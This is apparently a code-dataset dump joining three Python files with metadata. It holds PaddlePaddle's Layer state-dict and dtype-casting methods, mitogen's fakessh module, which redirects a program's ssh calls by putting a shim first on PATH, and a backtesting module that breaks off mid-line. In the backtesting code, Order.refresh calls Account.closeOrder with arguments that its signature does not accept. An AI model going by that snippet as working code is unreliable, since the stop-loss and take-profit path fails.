structured_name_prefix=\"\",\n use_hook=True,\n ):\n '''\n Get all parameters and persistable buffers of current layer and its sub-layers. And set them into a dict\n\n Parameters:\n destination(dict, optional) : If provide, all the parameters and persistable buffers will be set to this dict . Default: None\n include_sublayers(bool, optional) : If true, also include the parameters and persistable buffers from sublayers. Default: True\n use_hook(bool, optional) : If true, the operations contained in _state_dict_hooks will be appended to the destination. Default: True\n\n Retruns:\n dict: a dict contains all the parameters and persistable buffers.\n\n Examples:\n .. code-block:: python\n\n >>> import paddle\n\n >>> emb = paddle.nn.Embedding(10, 10)\n\n >>> state_dict = emb.state_dict()\n >>> paddle.save( state_dict, \"paddle_dy.pdparams\")\n\n '''\n return self._state_dict_impl(\n destination=destination,\n include_sublayers=include_sublayers,\n structured_name_prefix=structured_name_prefix,\n include_non_persistable_buffer=False,\n use_hook=use_hook,\n )\n\n @framework.deprecate_stat_dict\n def set_state_dict(self, state_dict, use_structured_name=True):\n '''\n Set parameters and persistable buffers from state_dict. All the parameters and buffers will be reset by the tensor in the state_dict\n\n Parameters:\n state_dict(dict) : Dict contains all the parameters and persistable buffers.\n use_structured_name(bool, optional) : If true, use structured name as key, otherwise, use parameter or buffer name as key.\n Default: True\n Returns:\n missing_keys(list):A list of str containing the missing keys\n unexpected_keys(list):A list of str containing the unexpected keys\n\n Examples:\n .. code-block:: python\n\n >>> import paddle\n\n >>> emb = paddle.nn.Embedding(10, 10)\n\n >>> state_dict = emb.state_dict()\n >>> paddle.save(state_dict, \"paddle_dy.pdparams\")\n >>> para_state_dict = paddle.load(\"paddle_dy.pdparams\")\n >>> emb.set_state_dict(para_state_dict)\n\n '''\n missing_keys = []\n match_keys = set()\n unexpected_keys = []\n\n def _check_match(key, param):\n state = state_dict.get(key, None)\n if state is None:\n missing_keys.append(key)\n raise ValueError(f\"{key} is not found in the provided dict.\")\n if isinstance(state, (dict, list)):\n if len(state) != len(param):\n missing_keys.append(key)\n raise ValueError(\n f\"{key} receieves the length of {len(state)}, \"\n f\"but the expected shape is {len(param)}\"\n )\n else:\n match_keys.add(key)\n return param, state\n else:\n state_shape = (\n state.shape()\n if inspect.ismethod(state.shape)\n else state.shape\n )\n\n if list(state_shape) != list(param.shape):\n missing_keys.append(key)\n raise ValueError(\n \"{} receives a shape {}, but the expected shape is {}.\".format(\n key, list(state_shape), list(param.shape)\n )\n )\n match_keys.add(key)\n return param, state\n\n matched_param_state = []\n for key, param in self._state_dict_impl(use_hook=False).items():\n key_name = key if use_structured_name else param.name\n try:\n match_res = _check_match(key_name, param)\n matched_param_state.append(match_res)\n except ValueError as err:\n warnings.warn(f\"Skip loading for {key}. \" + str(err))\n for key in state_dict.keys():\n if key not in match_keys:\n unexpected_keys.append(key)\n if in_dygraph_mode():\n for param, state in matched_param_state:\n param.set_value(state)\n else:\n\n def _set_var(var, ndarray):\n t = global_scope().find_var(var.name).get_tensor()\n p = t._place()\n if p.is_cpu_place():\n place = core.CPUPlace()\n elif p.is_cuda_pinned_place():\n place = core.CUDAPinnedPlace()\n elif p.is_xpu_place():\n p = core.Place()\n p.set_place(t._place())\n place = core.XPUPlace(p.xpu_device_id())\n elif p.is_custom_place():\n p = core.Place()\n p.set_place(t._place())\n place = core.CustomPlace(\n paddle.device.get_device().split(':')[0],\n p.custom_device_id(),\n )\n else:\n p = core.Place()\n p.set_place(t._place())\n place = core.CUDAPlace(p.gpu_device_id())\n t.set(ndarray, place)\n\n try:\n executor = Executor(_get_device())._default_executor\n # restore parameter states\n core._create_loaded_parameter(\n [param for param, state in matched_param_state],\n global_scope(),\n executor,\n )\n for param, state in matched_param_state:\n _set_var(param, state)\n except ValueError as e:\n raise ValueError(\n \"This error might happens in dy2static, while calling 'set_state_dict' dynamicly in 'forward', which is not supported. If you only need call 'set_state_dict' once, move it to '__init__'.\"\n )\n\n return missing_keys, unexpected_keys\n\n def to(self, device=None, dtype=None, blocking=None):\n '''\n Cast the parameters and buffers of Layer by the give device, dtype and blocking.\n\n Parameters:\n device(str|paddle.CPUPlace()|paddle.CUDAPlace()|paddle.CUDAPinnedPlace()|paddle.XPUPlace()|None, optional): The device of the Layer which want to be stored.\n If None, the device is the same with the original Tensor. If device is string, it can be ``cpu``, ``gpu:x`` and ``xpu:x``, where ``x`` is the\n index of the GPUs or XPUs. Default: None.\n\n dtype(str|numpy.dtype|paddle.dtype|None, optional): The type of the data. If None, the dtype is the same with the original Tensor. Default: None.\n\n blocking(bool|None, optional): If False and the source is in pinned memory, the copy will be\n asynchronous with respect to the host. Otherwise, the argument has no effect. If None, the blocking is set True. Default: None.\n\n Returns:\n self\n\n Examples:\n .. code-block:: python\n\n >>> import paddle\n >>> paddle.seed(2023)\n\n >>> linear=paddle.nn.Linear(2, 2)\n >>> linear.weight\n >>> print(linear.weight)\n Parameter containing:\n Tensor(shape=[2, 2], dtype=float32, place=Place(gpu:0), stop_gradient=False,\n [[ 0.89611185, 0.04935038],\n [-0.58883440, 0.99266374]])\n\n >>> linear.to(dtype='float64')\n >>> linear.weight\n >>> print(linear.weight)\n Parameter containing:\n Tensor(shape=[2, 2], dtype=float64, place=Place(gpu:0), stop_gradient=False,\n [[ 0.89611185, 0.04935038],\n [-0.58883440, 0.99266374]])\n\n >>> linear.to(device='cpu')\n >>> linear.weight\n >>> print(linear.weight)\n Parameter containing:\n Tensor(shape=[2, 2], dtype=float64, place=Place(cpu), stop_gradient=False,\n [[ 0.89611185, 0.04935038],\n [-0.58883440, 0.99266374]])\n\n >>> # doctest: +REQUIRES(env:GPU)\n >>> linear.to(device=paddle.CUDAPinnedPlace(), blocking=False)\n >>> linear.weight\n >>> print(linear.weight)\n Tensor(shape=[2, 2], dtype=float64, place=Place(gpu_pinned), stop_gradient=False,\n [[ 0.89611185, 0.04935038],\n [-0.58883440, 0.99266374]])\n\n '''\n return self._to_impl(\n device=device,\n dtype=dtype,\n blocking=blocking,\n include_sublayers=True,\n floating_only=False,\n )\n\n def _apply(self, func, device, dtype, blocking, include_sublayers=True):\n if include_sublayers:\n for layer in self.children():\n layer._apply(func, device, dtype, blocking, include_sublayers)\n\n for key, param in self._parameters.items():\n if param is not None:\n with no_grad():\n param_applied = func(param, device, dtype, blocking)\n\n if param.grad is not None:\n with no_grad():\n grad_applied = func(\n param._grad_ivar(), device, dtype, blocking\n )\n\n for key, buf in self._buffers.items():\n if buf is not None:\n self._buffers[key] = func(buf, device, dtype, blocking)\n\n self._dtype = dtype\n\n def _transform(self, t, device, dtype, blocking):\n if device is None:\n device = t.place\n if dtype is None:\n dtype = t.dtype\n\n if type(dtype) is not VarDesc.VarType:\n dtype = convert_np_dtype_to_dtype_(dtype)\n\n # 1. gpu place need to determine whether the memory is sufficient for allocation:\n if t.place.is_gpu_place():\n # for gpu, minimum memory allocation unit is 256 bytes.\n size_dtype = core.size_of_dtype(dtype)\n # Note(zhangbo): Paddle GPU minimum memory allocation unit is 256 bytes, waiting_alloc_memory will comput ‘t’ occupied memory space.\n # Coefficient 1.2 is used to avoid OOM that may occur in this critical state when the memory is just enough.\n waiting_alloc_memory = (\n ((np.prod(t.shape) * size_dtype) / 256 + 1) * 256 * 1.2\n )\n gpu_memory_available = core.gpu_memory_available()\n if gpu_memory_available < waiting_alloc_memory:\n # Copy param / Tensor to cpu\n t_used = t._copy_to(\n paddle.CPUPlace(), blocking\n ) # k-v type will error\n # Release mem of t\n t.value().get_tensor()._clear()\n else:\n t_used = t\n else:\n t_used = t\n\n # 2. cast param / Tensor to dtype\n if dtype is not None and dtype != t_used.dtype:\n with paddle.base.framework._dygraph_place_guard(place=t_used.place):\n t_casted = t_used.cast(dtype=dtype)\n else:\n t_casted = t_used\n\n # 3. Copy casted cpu param / Tensor to device\n if device is not None and not t_casted.place._equals(device):\n new_t = t_casted._copy_to(device, blocking)\n else:\n new_t = t_casted\n\n # 4. share Tensor to origin param / Tensor\n dst_tensor = t.value().get_tensor()\n src_tensor = new_t.value().get_tensor()\n dst_tensor._share_data_with(src_tensor)\n\n return t\n\n def _to_impl(\n self,\n device=None,\n dtype=None,\n blocking=None,\n include_sublayers=True,\n floating_only=False,\n ):\n '''\n Cast the parameters and buffers of Layer by the give device, dtype and blocking.\n\n Parameters:\n device(str|paddle.CPUPlace()|paddle.CUDAPlace()|paddle.CUDAPinnedPlace()|paddle.XPUPlace()|None, optional): The device of the Layer which want to be stored.\n If None, the device is the same with the original Tensor. If device is string, it can be ``cpu``, ``gpu:x`` and ``xpu:x``, where ``x`` is the\n index of the GPUs or XPUs. Default: None.\n\n dtype(str|numpy.dtype|paddle.dtype|None, optional): The type of the data. If None, the dtype is the same with the original Tensor. Default: None.\n\n blocking(bool|None, optional): If False and the source is in pinned memory, the copy will be\n asynchronous with respect to the host. Otherwise, the argument has no effect. If None, the blocking is set True. Default: None.\n\n include_sublayers(bool|True, optional): If True, deal with self and all sublayers parameters and buffers, if not only deal with self parameters and buffers. Default: True.\n\n floating_only(bool|False, optional): If True, only cast all floating point parameters and buffers of Layer by the give device, dtype and blocking.\n\n Returns:\n self\n\n '''\n\n if device is None and dtype is None and blocking is None:\n return self\n\n if device is not None:\n if isinstance(device, str):\n device = paddle.device._convert_to_place(device)\n elif isinstance(\n device,\n (\n core.CPUPlace,\n core.CUDAPlace,\n core.CUDAPinnedPlace,\n core.XPUPlace,\n ),\n ):\n pass\n else:\n raise ValueError(\n \"device value error, must be str, paddle.CPUPlace(), paddle.CUDAPlace(), paddle.CUDAPinnedPlace() or paddle.XPUPlace(), but the type of device is \"\n + type(device).__name__\n )\n\n if blocking is None:\n blocking = True\n else:\n assert isinstance(\n blocking, bool\n ), \"blocking value error, must be the True, False or None\"\n\n def transform(t, device, dtype, blocking):\n if floating_only and (not paddle.is_floating_point(t)):\n return t\n return self._transform(t, device, dtype, blocking)\n\n with warnings.catch_warnings():\n warnings.filterwarnings(\"ignore\", category=UserWarning)\n self._apply(transform, device, dtype, blocking, include_sublayers)\n\n self._dtype = dtype\n return self\n\n def _startup_program(self):\n \"\"\"\n Return starup program containing initialization operations of all parameters.\n\n NOTE(dev): This is a very low level API and only for inner developer.\n \"\"\"\n startup_program = Program()\n for param in self.parameters():\n param._create_init_op(startup_program.global_block())\n\n return startup_program\n\n # [aliases] Compatible with old method names\n set_dict = set_state_dict\n load_dict = set_state_dict\n\n def float(self, excluded_layers=None):\n '''\n Casts all floating point parameters and buffers to ``float`` data type.\n\n Parameters:\n excluded_layers(nn.Layer|list|tuple|None, optional): Specify the layers that need to be kept original data type. if excluded_layers is None, casts all floating point parameters and buffers. Default: None.\n\n Returns:\n Layer: self\n\n Examples:\n .. code-block:: python\n\n >>> import paddle\n\n >>> class Model(paddle.nn.Layer):\n ... def __init__(self):\n ... super().__init__()\n ... self.linear = paddle.nn.Linear(1, 1)\n ... self.dropout = paddle.nn.Dropout(p=0.5)\n ...\n ... def forward(self, input):\n ... out = self.linear(input)\n ... out = self.dropout(out)\n ... return out\n ...\n >>> model = Model()\n >>> model.float()\n Model(\n (linear): Linear(in_features=1, out_features=1, dtype=paddle.float32)\n (dropout): Dropout(p=0.5, axis=None, mode=upscale_in_train)\n )\n '''\n\n excluded_layers = [] if excluded_layers is None else excluded_layers\n\n if isinstance(excluded_layers, type):\n excluded_layers = [excluded_layers]\n elif isinstance(excluded_layers, (list, tuple)):\n excluded_layers = list(excluded_layers)\n else:\n raise TypeError(\n \"excluded_layers should be type nn.Layer or list, but got %s.\",\n type(excluded_layers).__name__,\n )\n\n def layer_trans(layer):\n _layer_trans_dtype(layer, paddle.float32, excluded_layers)\n\n return self.apply(layer_trans)\n\n def float16(self, excluded_layers=None):\n '''\n Casts all floating point parameters and buffers to ``float16`` data type.\n\n\n .. note::\n ``nn.BatchNorm`` does not support ``bfloat16`` weights, so it would not be converted by default.\n\n\n Parameters:\n excluded_layers(nn.Layer|list|tuple|None, optional): Specify the layers that need to be kept original data type. if excluded_layers is None, casts all floating point parameters and buffers except ``nn.BatchNorm``. Default: None.\n\n Returns:\n Layer: self\n\n Examples:\n .. code-block:: python\n\n >>> # doctest: +SKIP('Paddle compiled by the user does not support float16, so keep original data type.')\n >>> import paddle\n\n >>> class Model(paddle.nn.Layer):\n ... def __init__(self):\n ... super().__init__()\n ... self.linear = paddle.nn.Linear(1, 1)\n ... self.dropout = paddle.nn.Dropout(p=0.5)\n ...\n ... def forward(self, input):\n ... out = self.linear(input)\n ... out = self.dropout(out)\n ... return out\n ...\n >>> model = Model()\n >>> model.float16()\n Model(\n (linear): Linear(in_features=1, out_features=1, dtype=float32)\n (dropout): Dropout(p=0.5, axis=None, mode=upscale_in_train)\n )\n '''\n\n if paddle.amp.is_float16_supported() is False:\n warnings.warn(\n \"Paddle compiled by the user does not support float16, so keep original data type.\"\n )\n return self\n\n excluded_layers = (\n [nn.BatchNorm] if excluded_layers is None else excluded_layers\n )\n\n if isinstance(excluded_layers, type):\n excluded_layers = [excluded_layers]\n elif isinstance(excluded_layers, (list, tuple)):\n excluded_layers = list(excluded_layers)\n else:\n raise TypeError(\n \"excluded_layers should be type nn.Layer or list, but got %s.\",\n type(excluded_layers).__name__,\n )\n\n def layer_trans(layer):\n _layer_trans_dtype(layer, paddle.float16, excluded_layers)\n\n return self.apply(layer_trans)\n\n def bfloat16(self, excluded_layers=None):\n '''\n Casts all floating point parameters and buffers to ``bfloat16`` data type.\n\n\n .. note::\n ``nn.BatchNorm`` does not support ``bfloat16`` weights, so it would not be converted by default.\n\n\n Parameters:\n excluded_layers(nn.Layer|list|tuple|None, optional): Specify the layers that need to be kept original data type. if excluded_layers is None, casts all floating point parameters and buffers except ``nn.BatchNorm``. Default: None.\n\n Returns:\n Layer: self\n\n Examples:\n .. code-block:: python\n\n >>> # doctest: +SKIP('bfloat need V100 compile')\n >>> import paddle\n\n >>> class Model(paddle.nn.Layer):\n ... def __init__(self):\n ... super().__init__()\n ... self.linear = paddle.nn.Linear(1, 1)\n ... self.dropout = paddle.nn.Dropout(p=0.5)\n ...\n ... def forward(self, input):\n ... out = self.linear(input)\n ... out = self.dropout(out)\n ... return out\n ...\n >>> model = Model()\n >>> model.bfloat16()\n >>> #UserWarning: Paddle compiled by the user does not support bfloat16, so keep original data type.\n Model(\n (linear): Linear(in_features=1, out_features=1, dtype=float32)\n (dropout): Dropout(p=0.5, axis=None, mode=upscale_in_train)\n )\n '''\n\n if paddle.amp.is_bfloat16_supported() is False:\n warnings.warn(\n \"Paddle compiled by the user does not support bfloat16, so keep original data type.\"\n )\n return self\n\n excluded_layers = (\n [nn.BatchNorm] if excluded_layers is None else excluded_layers\n )\n\n if isinstance(excluded_layers, type):\n excluded_layers = [excluded_layers]\n elif isinstance(excluded_layers, (list, tuple)):\n excluded_layers = list(excluded_layers)\n else:\n raise TypeError(\n \"excluded_layers should be type nn.Layer or list, but got %s.\",\n type(excluded_layers).__name__,\n )\n\n def layer_trans(layer):\n _layer_trans_dtype(layer, paddle.bfloat16, excluded_layers)\n\n return self.apply(layer_trans)\n","repo_name":"PaddlePaddle/Paddle","sub_path":"python/paddle/nn/layer/layers.py","file_name":"layers.py","file_ext":"py","file_size_in_byte":93751,"program_lang":"python","lang":"en","doc_type":"code","stars":21032,"dataset":"github-code","pt":"29"} +{"seq_id":"15274127388","text":"import getopt\nimport inspect\nimport os\nimport shutil\nimport socket\nimport subprocess\nimport sys\nimport tempfile\nimport threading\n\nimport mitogen.core\nimport mitogen.parent\n\nfrom mitogen.core import LOG, IOLOG\n\n\nSSH_GETOPTS = (\n \"1246ab:c:e:fgi:kl:m:no:p:qstvx\"\n \"ACD:E:F:I:KL:MNO:PQ:R:S:TVw:W:XYy\"\n)\n\n_mitogen = None\n\n\nclass IoPump(mitogen.core.Protocol):\n _output_buf = ''\n _closed = False\n\n def __init__(self, broker):\n self._broker = broker\n\n def write(self, s):\n self._output_buf += s\n self._broker._start_transmit(self)\n\n def close(self):\n self._closed = True\n # If local process hasn't exitted yet, ensure its write buffer is\n # drained before lazily triggering disconnect in on_transmit.\n if self.transmit_side.fp.fileno() is not None:\n self._broker._start_transmit(self)\n\n def on_shutdown(self, stream, broker):\n self.close()\n\n def on_transmit(self, stream, broker):\n written = self.transmit_side.write(self._output_buf)\n IOLOG.debug('%r.on_transmit() -> len %r', self, written)\n if written is None:\n self.on_disconnect(broker)\n else:\n self._output_buf = self._output_buf[written:]\n\n if not self._output_buf:\n broker._stop_transmit(self)\n if self._closed:\n self.on_disconnect(broker)\n\n def on_receive(self, stream, broker):\n s = stream.receive_side.read()\n IOLOG.debug('%r.on_receive() -> len %r', self, len(s))\n if s:\n mitogen.core.fire(self, 'receive', s)\n else:\n self.on_disconnect(broker)\n\n def __repr__(self):\n return 'IoPump(%r, %r)' % (\n self.receive_side.fp.fileno(),\n self.transmit_side.fp.fileno(),\n )\n\n\nclass Process(object):\n \"\"\"\n Manages the lifetime and pipe connections of the SSH command running in the\n slave.\n \"\"\"\n def __init__(self, router, stdin, stdout, proc=None):\n self.router = router\n self.stdin = stdin\n self.stdout = stdout\n self.proc = proc\n self.control_handle = router.add_handler(self._on_control)\n self.stdin_handle = router.add_handler(self._on_stdin)\n self.pump = IoPump.build_stream(router.broker)\n self.pump.accept(stdin, stdout)\n self.stdin = None\n self.control = None\n self.wake_event = threading.Event()\n\n mitogen.core.listen(self.pump, 'disconnect', self._on_pump_disconnect)\n mitogen.core.listen(self.pump, 'receive', self._on_pump_receive)\n\n if proc:\n pmon = mitogen.parent.ProcessMonitor.instance()\n pmon.add(proc.pid, self._on_proc_exit)\n\n def __repr__(self):\n return 'Process(%r, %r)' % (self.stdin, self.stdout)\n\n def _on_proc_exit(self, status):\n LOG.debug('%r._on_proc_exit(%r)', self, status)\n self.control.put(('exit', status))\n\n def _on_stdin(self, msg):\n if msg.is_dead:\n IOLOG.debug('%r._on_stdin() -> %r', self, msg)\n self.pump.protocol.close()\n return\n\n data = msg.unpickle()\n IOLOG.debug('%r._on_stdin() -> len %d', self, len(data))\n self.pump.protocol.write(data)\n\n def _on_control(self, msg):\n if not msg.is_dead:\n command, arg = msg.unpickle(throw=False)\n LOG.debug('%r._on_control(%r, %s)', self, command, arg)\n\n func = getattr(self, '_on_%s' % (command,), None)\n if func:\n return func(msg, arg)\n\n LOG.warning('%r: unknown command %r', self, command)\n\n def _on_start(self, msg, arg):\n dest = mitogen.core.Context(self.router, msg.src_id)\n self.control = mitogen.core.Sender(dest, arg[0])\n self.stdin = mitogen.core.Sender(dest, arg[1])\n self.router.broker.start_receive(self.pump)\n\n def _on_exit(self, msg, arg):\n LOG.debug('on_exit: proc = %r', self.proc)\n if self.proc:\n self.proc.terminate()\n else:\n self.router.broker.shutdown()\n\n def _on_pump_receive(self, s):\n IOLOG.info('%r._on_pump_receive(len %d)', self, len(s))\n self.stdin.put(s)\n\n def _on_pump_disconnect(self):\n LOG.debug('%r._on_pump_disconnect()', self)\n mitogen.core.fire(self, 'disconnect')\n self.stdin.close()\n self.wake_event.set()\n\n def start_master(self, stdin, control):\n self.stdin = stdin\n self.control = control\n control.put(('start', (self.control_handle, self.stdin_handle)))\n self.router.broker.start_receive(self.pump)\n\n def wait(self):\n while not self.wake_event.isSet():\n # Timeout is used so that sleep is interruptible, as blocking\n # variants of libc thread operations cannot be interrupted e.g. via\n # KeyboardInterrupt. isSet() test and wait() are separate since in\n # <2.7 wait() always returns None.\n self.wake_event.wait(0.1)\n\n\n@mitogen.core.takes_router\ndef _start_slave(src_id, cmdline, router):\n \"\"\"\n This runs in the target context, it is invoked by _fakessh_main running in\n the fakessh context immediately after startup. It starts the slave process\n (the the point where it has a stdin_handle to target but not stdout_chan to\n write to), and waits for main to.\n \"\"\"\n LOG.debug('_start_slave(%r, %r)', router, cmdline)\n\n proc = subprocess.Popen(\n cmdline,\n # SSH server always uses user's shell.\n shell=True,\n # SSH server always executes new commands in the user's HOME.\n cwd=os.path.expanduser('~'),\n\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n )\n\n process = Process(router, proc.stdin, proc.stdout, proc)\n return process.control_handle, process.stdin_handle\n\n\n#\n# SSH client interface.\n#\n\n\ndef exit():\n _mitogen.broker.shutdown()\n\n\ndef die(msg, *args):\n if args:\n msg %= args\n sys.stderr.write('%s\\n' % (msg,))\n exit()\n\n\ndef parse_args():\n hostname = None\n remain = sys.argv[1:]\n allopts = []\n restarted = 0\n\n while remain and restarted < 2:\n opts, args = getopt.getopt(remain, SSH_GETOPTS)\n remain = remain[:] # getopt bug!\n allopts += opts\n if not args:\n break\n\n if not hostname:\n hostname = args.pop(0)\n remain = remain[remain.index(hostname) + 1:]\n\n restarted += 1\n\n return hostname, allopts, args\n\n\n@mitogen.core.takes_econtext\ndef _fakessh_main(dest_context_id, econtext):\n hostname, opts, args = parse_args()\n if not hostname:\n die('Missing hostname')\n\n subsystem = False\n for opt, optarg in opts:\n if opt == '-s':\n subsystem = True\n else:\n LOG.debug('Warning option %s %s is ignored.', opt, optarg)\n\n LOG.debug('hostname: %r', hostname)\n LOG.debug('opts: %r', opts)\n LOG.debug('args: %r', args)\n\n if subsystem:\n die('-s is not yet supported')\n\n if not args:\n die('fakessh: login mode not supported and no command specified')\n\n dest = mitogen.parent.Context(econtext.router, dest_context_id)\n\n # Even though SSH receives an argument vector, it still cats the vector\n # together before sending to the server, the server just uses /bin/sh -c to\n # run the command. We must remain puke-for-puke compatible.\n control_handle, stdin_handle = dest.call(_start_slave,\n mitogen.context_id, ' '.join(args))\n\n LOG.debug('_fakessh_main: received control_handle=%r, stdin_handle=%r',\n control_handle, stdin_handle)\n\n process = Process(econtext.router,\n stdin=os.fdopen(1, 'w+b', 0),\n stdout=os.fdopen(0, 'r+b', 0))\n process.start_master(\n stdin=mitogen.core.Sender(dest, stdin_handle),\n control=mitogen.core.Sender(dest, control_handle),\n )\n process.wait()\n process.control.put(('exit', None))\n\n\ndef _get_econtext_config(context, sock2):\n parent_ids = mitogen.parent_ids[:]\n parent_ids.insert(0, mitogen.context_id)\n return {\n 'context_id': context.context_id,\n 'core_src_fd': None,\n 'debug': getattr(context.router, 'debug', False),\n 'in_fd': sock2.fileno(),\n 'log_level': mitogen.parent.get_log_level(),\n 'max_message_size': context.router.max_message_size,\n 'out_fd': sock2.fileno(),\n 'parent_ids': parent_ids,\n 'profiling': getattr(context.router, 'profiling', False),\n 'unidirectional': getattr(context.router, 'unidirectional', False),\n 'setup_stdio': False,\n 'version': mitogen.__version__,\n }\n\n\n#\n# Public API.\n#\n\n@mitogen.core.takes_econtext\n@mitogen.core.takes_router\ndef run(dest, router, args, deadline=None, econtext=None):\n \"\"\"\n Run the command specified by `args` such that ``PATH`` searches for SSH by\n the command will cause its attempt to use SSH to execute a remote program\n to be redirected to use mitogen to execute that program using the context\n `dest` instead.\n\n :param list args:\n Argument vector.\n :param mitogen.core.Context dest:\n The destination context to execute the SSH command line in.\n\n :param mitogen.core.Router router:\n\n :param list[str] args:\n Command line arguments for local program, e.g.\n ``['rsync', '/tmp', 'remote:/tmp']``\n\n :returns:\n Exit status of the child process.\n \"\"\"\n if econtext is not None:\n mitogen.parent.upgrade_router(econtext)\n\n context_id = router.allocate_id()\n fakessh = mitogen.parent.Context(router, context_id)\n fakessh.name = u'fakessh.%d' % (context_id,)\n\n sock1, sock2 = socket.socketpair()\n\n stream = mitogen.core.Stream(router, context_id)\n stream.name = u'fakessh'\n stream.accept(sock1, sock1)\n router.register(fakessh, stream)\n\n # Held in socket buffer until process is booted.\n fakessh.call_async(_fakessh_main, dest.context_id)\n\n tmp_path = tempfile.mkdtemp(prefix='mitogen_fakessh')\n try:\n ssh_path = os.path.join(tmp_path, 'ssh')\n fp = open(ssh_path, 'w')\n try:\n fp.write('#!%s\\n' % (mitogen.parent.get_sys_executable(),))\n fp.write(inspect.getsource(mitogen.core))\n fp.write('\\n')\n fp.write('ExternalContext(%r).main()\\n' % (\n _get_econtext_config(econtext, sock2),\n ))\n finally:\n fp.close()\n\n os.chmod(ssh_path, int('0755', 8))\n env = os.environ.copy()\n env.update({\n 'PATH': '%s:%s' % (tmp_path, env.get('PATH', '')),\n 'ARGV0': mitogen.parent.get_sys_executable(),\n 'SSH_PATH': ssh_path,\n })\n\n proc = subprocess.Popen(args, env=env)\n return proc.wait()\n finally:\n shutil.rmtree(tmp_path)\n","repo_name":"mitogen-hq/mitogen","sub_path":"mitogen/fakessh.py","file_name":"fakessh.py","file_ext":"py","file_size_in_byte":10844,"program_lang":"python","lang":"en","doc_type":"code","stars":2100,"dataset":"github-code","pt":"29"} +{"seq_id":"71042965198","text":"import pandas\nimport numpy as np\nimport talib\n\nclass STree():\n\n leaves={}\n\n def __init__(self,name,type='0',*strategies,**typeStrategies):\n '''\n\n :param name: name of the tree\n :param strategies: list of strategies names:['entry1','entry2',...]\n :return:\n '''\n\n self.name=name\n self.type=type\n self.create(type,*strategies,**typeStrategies)\n\n def createParamBranch(self,params,funcParams,**need):\n inneedParam=need.copy()\n pa=params.copy()\n if self.name in funcParams.keys():\n for p in funcParams[self.name]:\n if p in params:\n inneedParam[p]=params[p]\n pa.pop(p)\n\n for name in self.leaves.keys():\n tree=self.leaves[name]\n if isinstance(tree,STree):\n tree.createParamBranch(pa,funcParams,**inneedParam)\n\n if len(self.leaves)==0:\n self.__init__(self.name,self.type,**inneedParam)\n\n pass\n\n def create(self,type,*strategies,**ts):\n leaves={}\n nextType= str(int(type)+1) if type.isdigit() else type\n\n if len(strategies)>1:\n for s in strategies[0]:\n leaves[s] = STree(s,nextType,*strategies[1:],**ts)\n\n elif len(strategies)==1:\n for s in strategies[0]:\n leaves[s]= STree(s,nextType,**ts)\n\n else:\n if len(ts)>0:\n t,leave=ts.popitem()\n for s in leave:\n leaves[s]=STree(s,t,**ts)\n\n\n self.leaves=leaves.copy()\n\n def showBranchesDict(self,tree,**parentDict):\n thisDict=parentDict.copy()\n thisDict[tree.type]=tree.name\n thisList=[]\n\n for name in tree.leaves.keys():\n if isinstance(tree.leaves[name],STree):\n\n next=tree.showBranchesDict(tree.leaves[name],**thisDict)\n thisList.extend(next)\n else :\n thisList.append(thisDict)\n\n if len(tree.leaves)==0:\n thisList.append(thisDict)\n\n return thisList\n\n def showBranches(self,tree,*nameList):\n thisList=[]\n for name in tree.leaves.keys():\n if isinstance(tree.leaves[name],STree):\n leaveList=list(nameList).copy()\n leaveList.append(name)\n\n thisList.extend(tree.showBranches(tree.leaves[name],*leaveList))\n else :\n thisList.append(nameList)\n if len(tree.leaves)<1:\n thisList.append(nameList)\n\n return thisList\n\n def showAllCombination(self):\n combList=[]\n for name in self.leaves.keys():\n tree=self.leaves[name]\n combList.extend(self.showBranchesDict(tree))\n return combList\n\nclass Order():\n\n def __init__(self,ticket,code,openPrice,lots,deposit,time,stoplost=0,takeprofit=0,comment=None):\n\n self.code=code\n self.openPrice=openPrice\n self.lots=lots\n self.stoplost=stoplost\n self.takeprofit=takeprofit\n self.ticket=ticket\n self.deposit=deposit\n self.openTime=time\n self.comment=comment\n\n def close(self,price,time,cls=None):\n self.closeTime=time\n self.closePrice=price\n self.profit=(self.closePrice-self.openPrice)*self.lots\n\n def refresh(self,price,cls):\n\n profit=(price-self.openPrice)*self.lots\n\n if self.takeprofit != 0:\n if profit>(self.takeprofit-self.openPrice)*self.lots:\n cls.closeOrder(ticket=self.ticket,price=self.takeprofit)\n\n return\n\n if self.stoplost != 0:\n if profit<(self.stoplost-self.openPrice)*self.lots:\n cls.closeOrder(ticket=self.ticket,price=self.stoplost)\n\n return\n\n self.closePrice=price\n self.profit=profit\n\nclass Account():\n\n orders=[]\n ordersHistory=[]\n Time=0\n capital=[]\n\n def __init__(self,initCash=1000000,lever=1):\n '''\n\n :param initCash: initial cash\n :param lever: >1\n :return:\n\n How to use:\n # create an account:\n acc=Account()\n\n\n '''\n\n\n self.lever=lever\n self.cash=initCash\n self.initCash=initCash\n self.nextTicket=0\n pass\n\n def closeOrder(self,price,order):\n '''\n\n :param price:\n :param order:\n :return:\n '''\n order.close(price,self.Time)\n self.cash=self.cash+order.profit+order.deposit\n self.ordersHistory.append(order)\n self.orders.remove(order)\n\n def openOrder(self,code,price,lots,stoplost=0,takeprofit=0,ticket=None,comment=None):\n '''\n open an order\n :param price:\n :param lots:\n :param stoplost:\n :param takeprofit:\n :param ticket:\n :return:\n '''\n if ticket is None:\n ticket=self.nextTicket\n\n deposit=abs(lots*price/self.lever)\n\n order=Order(ticket,code,price,lots,deposit,self.Time,stoplost,takeprofit,comment)\n self.cash=self.cash-deposit\n self.orders.append(order)\n\n self.nextTicket=ticket+1\n\n def getOrders(self):\n attrs=['ticket','code','openPrice','lots','stoplost','takeprofit','deposit']\n orders=[]\n for o in self.orders:\n order=[]\n for a in attrs:\n order.append(getattr(o,a))\n orders.append(order)\n\n return pandas.DataFrame(orders,columns=attrs)\n\n def getHistoryOrders(self):\n attrs=['ticket','code','openTime','closeTime','openPrice','closePrice','lots','stoplost','takeprofit','deposit','profit']\n orders=[]\n for o in self.ordersHistory:\n order=[]\n for a in attrs:\n order.append(getattr(o,a))\n orders.append(order)\n\n return pandas.DataFrame(orders,columns=attrs)\n\n def marginLog(self):\n log=[self.initCash]\n for o in self.ordersHistory:\n log.append(log[-1]+o.profit)\n\n return(log)\n\n def refresh(self,time,price):\n self.Time=time\n\n for o in self.orders:\n o.refresh(price,self)\n\n capital=self.cash\n for o in self.orders:\n capital=capital+o.profit+o.deposit\n\n self.capital.append([time,capital])\n\n def findOrder(self,value,searchBy='comment',mode='orders'):\n for o in getattr(self,mode):\n if getattr(o,searchBy)==value:\n return o\n\n def findOrders(self,mode='orders',**how):\n out=[]\n for o in getattr(self,mode):\n isOrder=True\n for k in how.keys():\n if getattr(o,k)!=how[k]:\n isOrder=False\n break\n if 